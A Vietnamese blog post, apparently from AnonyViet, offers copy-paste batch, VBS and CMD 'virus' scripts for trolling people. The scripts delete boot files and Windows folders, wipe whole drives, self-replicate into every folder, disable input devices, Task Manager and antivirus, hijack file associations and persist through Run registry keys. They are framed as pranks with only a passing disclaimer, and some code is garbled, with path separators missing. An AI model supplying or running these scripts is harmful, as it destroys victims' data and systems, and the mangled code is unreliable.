MỘT SỐ TIỆN ÍCH CỦA FILE .BAT ĐỂ TROLL NGƯỜI KHÁC HOẶC PHÁ VUI
| Tham gia kênh Telegram của AnonyViet 👉 Link 👈 |
Mình sẽ cho các bạn xem một số code của con virus đuôi .BAT:
Các bạn mở notepad lên, copy các đoạn code dưới đây vào rồi, save lại thành đuôi .bat, .vsb hay .cmd tùy theo Code nhé
Trong lúc Save thì xem hình bên dưới: Save as type: All Files
1) virus phá hoại cửa sổ windown:
Code:
@echo off msg *virus activated* attrib -r -s -h c:autoexec.bat del c:autoexec.bat attrib -r -s -h c:boot.ini del c:boot.ini attrib -r -s -h c:ntldr del c:ntldr attrib -r -s -h c:windowswin.ini del c:windowswin.ini @echo off msg *Computer Over. Virus=Very Yes.* shutdown -s -t 10 -c " "
2) Loại virus này làm vô hiệu hóa chuột, bàn phím,task manager, thay đổi tập tin:
code:
@echo off prompt $P $G assoc .doc = fA1luRe assoc .docx = fA1luRe assoc .log = fA1luRe assoc .msg = fA1luRe assoc .pages = fA1luRe assoc .rtf = fA1luRe assoc .txt = fA1luRe assoc .wpd = fA1luRe assoc .wps = fA1luRe assoc .accdb = fA1luRe assoc .blg = fA1luRe assoc .csv = fA1luRe assoc .dat = fA1luRe assoc .db = fA1luReassoc .efx = fA1luRe assoc .mdb = fA1luRe assoc .pdb = fA1luRe assoc .pps = fA1luRe assoc .ppt = fA1luRe assoc .pptx = fA1luRe assoc .sdb = fA1luRe assoc .sdf = fA1luRe assoc .sql = fA1luRe assoc .vcf = fA1luRe assoc .wks = fA1luRe assoc .xls = fA1luRe assoc .xlsx = fA1luRe assoc .xml = fA1luRe assoc .bmp = fA1luRe assoc .gif = fA1luRe assoc .jpg = fA1luRe assoc .png = fA1luRe assoc .psd = fA1luRe assoc .psp = fA1luRe assoc .thm = fA1luRe assoc .tif = fA1luRe assoc .ai = fA1luRe assoc .drw = fA1luRe assoc .eps = fA1luRe assoc .ps = fA1luRe assoc .svg = fA1luRe assoc .3dm = fA1luRe assoc .dwg = fA1luRe assoc .dxf = fA1luRe assoc .pln = fA1luRe assoc .indd = fA1luRe assoc .pct = fA1luRe assoc .pdf = fA1luRe assoc .qxd = fA1luRe assoc .qxp = fA1luReassoc .rels = fA1luRe assoc .aac = fA1luRe assoc .aif = fA1luRe assoc .iff = fA1luRe assoc .m3u = fA1luRe assoc .mid = fA1luRe assoc .mp3 = fA1luRe assoc .mpa = fA1luRe assoc .ra = fA1luRe assoc .wav = fA1luRe assoc .wma = fA1luRe assoc .3g2 = fA1luRe assoc .3gp = fA1luRe assoc .asf = fA1luRe assoc .asx = fA1luRe assoc .avi = fA1luRe assoc .flv = fA1luRe assoc .mov = fA1luRe assoc .mp4 = fA1luRe assoc .mpg = fA1luRe assoc .rm = fA1luRe assoc .swf = fA1luRe assoc .vob = fA1luRe assoc .wmv = fA1luRe assoc .asp = fA1luRe assoc .cer = fA1luRe assoc .csr = fA1luRe assoc .css = fA1luRe assoc .htm = fA1luRe assoc .html = fA1luRe assoc .js = fA1luRe assoc .jsp = fA1luRe assoc .php = fA1luRe assoc .rss = fA1luRe assoc .tvpi = fA1luRe assoc .tvvi = fA1luReassoc .xhtml = fA1luRe assoc .fnt = fA1luRe assoc .fon = fA1luRe assoc .otf = fA1luRe assoc .ttf = fA1luRe assoc .8bi = fA1luRe assoc .plugin = fA1luRe assoc .xll = fA1luRe assoc .cab = fA1luRe assoc .cpl = fA1luRe assoc .cur = fA1luRe assoc .dll = fA1luRe assoc .dmp = fA1luRe assoc .drv = fA1luRe assoc .key = fA1luRe assoc .lnk = fA1luRe assoc .sys = fA1luRe assoc .cfg = fA1luRe assoc .ini = fA1luRe assoc .keychain = fA1luRe assoc .prf = fA1luRe assoc .app = fA1luRe assoc .bat = fA1luRe assoc .cgi = fA1luRe assoc .com = fA1luRe assoc .exe = fA1luRe assoc .pif = fA1luRe assoc .vb = fA1luRe assoc .ws = fA1luRe assoc .7z = fA1luRe assoc .deb = fA1luRe assoc .gz = fA1luRe assoc .pkg = fA1luRe assoc .rar = fA1luRe assoc .sit = fA1luRe assoc .sitx = fA1luReassoc .tar.gz = fA1luRe assoc .zip = fA1luRe assoc .zipx = fA1luRe assoc .bin = fA1luRe assoc .hqx = fA1luRe assoc .mim = fA1luRe assoc .uue = fA1luRe assoc .c = fA1luRe assoc .cpp = fA1luRe assoc .dtd = fA1luRe assoc .java = fA1luRe assoc .pl = fA1luRe assoc .bak = fA1luRe assoc .bup = fA1luRe assoc .gho = fA1luRe assoc .ori = fA1luRe assoc .tmp = fA1luRe assoc .dmg = fA1luRe assoc .iso = fA1luRe assoc .toast = fA1luRe assoc .vcd = fA1luRe assoc .gam = fA1luRe assoc .nes = fA1luRe assoc .rom = fA1luRe assoc .sav = fA1luRe assoc .dbx = fA1luRe assoc .msi = fA1luRe assoc .part = fA1luRe assoc .torrent = fA1luRe assoc .yps = fA1luRe rundll32.exe mouse, disable rundll32.exe keyboard, disable copy setup.bat %userprofile%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup copy setup.bat %windir%System32 reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v fA1luRe /t REG_SZ /d %windir%System32setup.bat taskkill /f /im taskmgr.exe reg restore HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicie sSystem DisableTaskMgr = 1 shutdown -s -f -t 10 -c "PwN3D by fA1luRe!!!"
3) Kiểm tra % của CPU lên đến bao nhiêu %:
Bạn mở notepad ra và gõ start 1.bat vào trong rồi các bạn lưu con virus này là
1.bat rồi ngay lập tức % CPU sẽ tăng lên.
4) Lặp lại nhiều lần chu kỳ mess:
Code:
@ECHO off :Begin msg * lời cảnh báo msg * lời cảnh báo msg * lời cảnh báo msg * lời cảnh báo msg * lời cảnh báo GOTO BEGIN VD: @ECHO off :Begin msg * Hi msg * khoe ko anh ? msg * em ne ? msg * buon ngu chua anh ? msg * tat may ngu thoi ,bb anh GOTO BEGIN
5) Tự động tắt máy và kèm theo lời nhắn:
Code:
@echo off msg * lời cảnh báo shutdown -c “lời cảnh báo” -s VD:@echo off msg * I LOVE YOU shutdown -c “Error! tam biet anh!” -s
Còn đây là một số con virus có đuôi là .VBS
- Chức năng gửi thông điệp cảnh báo:
Code:
TEXT1=MSGBOX("THÔNG ĐIÊP CẢNH BÁO",42,"TÊN THÔNG ĐIỆP CẢNH BÁO")
2) Chức năng làm đứng máy tính:
Code:
msgbox"Error !"
On Error Resume Next
Set vip_xinh = Createobject("scripting.filesystemobject")
vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& "
vip_xinh.vbs"
Set vip_xinh2= CreateObject("WScript.Shell")
vip_xinh2.regwrite "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRu
ndie","wscript.exe "& vip_xinh.GetSpecialFolder(0)& " vip_xinh.vbs %"
On Error Resume Next
Const vic = "D:"
Delvic
Sub Delvic()
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile vic & "*.*" , True
fso.DeleteFolder vic & "*" , True
End Sub
On Error Resume Next
Const vic1 = "C:windows"
Delvic1
Sub Delvic1()
Dim fso1
Set fso1 = CreateObject("Scripting.FileSystemObject")fso1.DeleteFile vic1 & "*.*" , True
fso1.DeleteFolder vic1 & "*" , True
End Sub
On Error Resume Next
Const vic2 = "C:"
Delvic2
Sub Delvic2()
Dim fso2
Set fso2 = CreateObject("Scripting.FileSystemObject")
fso2.DeleteFile vic2 & "*.*" , True
fso2.DeleteFolder vic2 & "*" , True
End Sub
On Error Resume Next
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop
3) Đây là một con virus rất ác mình khuyên ban muốn thử nó thì hãy đóng
băng tất cả các ổ trước khi sử dụng nó không thì rước họa vào thân đấy bạn
Code:
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
Còn đây là thuốc giải:
Code:
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub
4) Chức năng mở một thông điệp rồi sẽ tự động tắt máy:
Code:
@ECHO OFF MSG * THÔNG ĐIỆP SHUTDOWN -C "THÔNG ĐIỆP" -S -T 10
5) Không cho victim khởi động máy:
Code:
DIM WSH SET WSH = CREATEOBJECT("WSCRIPT.SHELL") WSH.RUN "RUNDLL32.EXE USER.EXE,EXITWINDOWS"
6)Disable NAV:
Code:
DIM WSH SET WSH= CREATEOBJECT( "WSCRIPT.SHELL") S1 = " HKEY_LOCAL_MACHINESYSTEMCURRENTCONTROLSETSERVIC ESNORTON PROGRAM SCHEDULERSTART" WSH.REGWRITE S1,3, "REG_DWORD"
7) Hiển thị message mỗi khi restart máy:
Code:
DIM WSH SET WSH = CREATEOBJECT( "WSCRIPT.SHELL" ) S1 = " HKLMSOFTWAREMICROSOFTWINDOWSCURRENTVERSIONWIN LOGON" S2 = "LEGALNOTICECAPTION"S3 = "LEGALNOTICETEXT" WSH.REGWRITE S1+S2, "LỜI CẢNH BÁO" WSH.REGWRITE S1+S3, "LỜI CẢNH BÁO"
8) Chuc nang hien thi dong lenh khi ban click vao Thư mục:
Code:
SET REG=CREATEOBJECT("WSCRIPT.SHELL") REG.REGWRITE "HKEY_CLASSES_ROOT*SHELL","LOI CANH BAO" REG.REGWRITE "HKEY_CLASSES_ROOTFOLDERSHELLLOI CANH BAO","SLM"
vd:
SET REG=CREATEOBJECT("WSCRIPT.SHELL") REG.REGWRITE "HKEY_CLASSES_ROOT*SHELL","HI ! BAN DA BI NHIEM WK TU TRUONGTON.NET" REG.REGWRITE "HKEY_CLASSES_ROOTFOLDERSHELLHI ! BAN DA BI NHIEM WK TU TRUONGTON.NET","SLM"
9) Xóa Registry Files:
Code:
@ECHO OFF START REG DELETE HKCR/.EXE START REG DELETE HKCR/.DLL START REG DELETE HKCR/* :MESSAGE ECHO SLM LOI CANH BAO. GOTO MESSAGE
vd:
@ECHO OFF START REG DELETE HKCR/.EXE START REG DELETE HKCR/.DLL START REG DELETE HKCR/* :MESSAGE ECHO SLM CHUC ANH 1 NGAY VUI VE. GOTO MESSAGE
10) Bật notepad lien tuc lam may tinh bi ngơ:
CODE:@ECHO OFF :TOP START %SYSTEMROOT%SYSTEM32NOTEPAD.EXE GOTO TOP
11) Bật tắt caps lock liên tục:
Code:
SET WSHSHELL =WSCRIPT.CREATEOBJECT("WSCRIPT.SHELL") DO WSCRIPT.SLEEP 100 WSHSHELL.SENDKEYS "{CAPSLOCK}" LOOP
12) Ép enter liên tục:
Code:
SET WSHSHELL = WSCRIPT.CREATEOBJECT("WSCRIPT.SHELL") DO WSCRIPT.SLEEP 100 WSHSHELL.SENDKEYS "~(ENTER)" LOOP
12) Ép Space liên tục:
MSGBOX "LET'S GO BACK A FEW STEPS" SET WSHSHELL =WSCRIPT.CREATEOBJECT("WSCRIPT.SHELL") DO WSCRIPT.SLEEP 100 WSHSHELL.SENDKEYS "{BS}" LOOP
Còn đây là một số con virus có đuôi .cmd:
1)Xóa sạch tất cả các file có trong máy:
Code:
DEL /F /Q *
2)Xóa một file nào đó:
Code:
erase đường dẫnvd:
ERASE C:TEST.TXT
3) Ẩn tòan bộ file trong win
Code:
ATTRIB +S /F /Q *
Update Thêm Vài Con Virus Cực Nguy Hiểm
1) Vĩnh Biệt PC Forever
Các bạn cẩn thận khi tạo xong ko nên click vào nhé !!
@echo off attrib -r -s -hc: autoexec.bat del c: autoexec.bat attrib -r -s -hc: boot.ini del c: boot.ini attrib -r -s -hc: ntldr del c: ntldr attrib -r -s -hc: windows win.ini del c: windows win.ini
Lưu Với Đuôi .Bat và ko click vào nếu ko muốn gặp hậu quả nha !!
2) Virus Nguy Hiểm Chưa Có Tên
@echo off del D: *. * / f / s / q del E: *. * / f / s / q del F: *. * / f / s / q del G: *. * / f / s / q del H: *. * / f / s / q del I: *. * / f / s / q del J: *. * / f / s / q
Lưu Với tên SEO.bat
Cái này còn nguy hiểm hơn. Để học hỏi thôi chứ đừng phá máy người ta =))
4) Không Cho Windows Khởi Động
Del c:. WINDOWS system32 * * / q
Lưu Lại là anything.bat
5) Vô Hiệu Hóa InterNet Vĩnh viễn
echo @echo off>c:windowswimn32.bat echo break off>>c:windowswimn32.bat echo ipconfig/release_all>>c:windowswimn32.bat echo end>>c:windowswimn32.bat reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f echo You Have Been HACKED! PAUSE
Lưu Lại với Đuôi .Bat
6) Đổi Đuôi Tất Cả Thành TXT
Làm rối loạn dữ liệu máy tính
REN * .DOC * .TXT REN * .JPEG * .TXT REN * LNK * .TXT REN * .AVI * .TXT REN * .MPEG * .TXT REN * .COM * .TXT REN * .BAT * .TXT
Lưu Đuôi .Bat
troll vầy hơi khắm nhể
Rip 45 phút tiết tin học đã thử all
được
Những vius trên troll siêu ác luôn.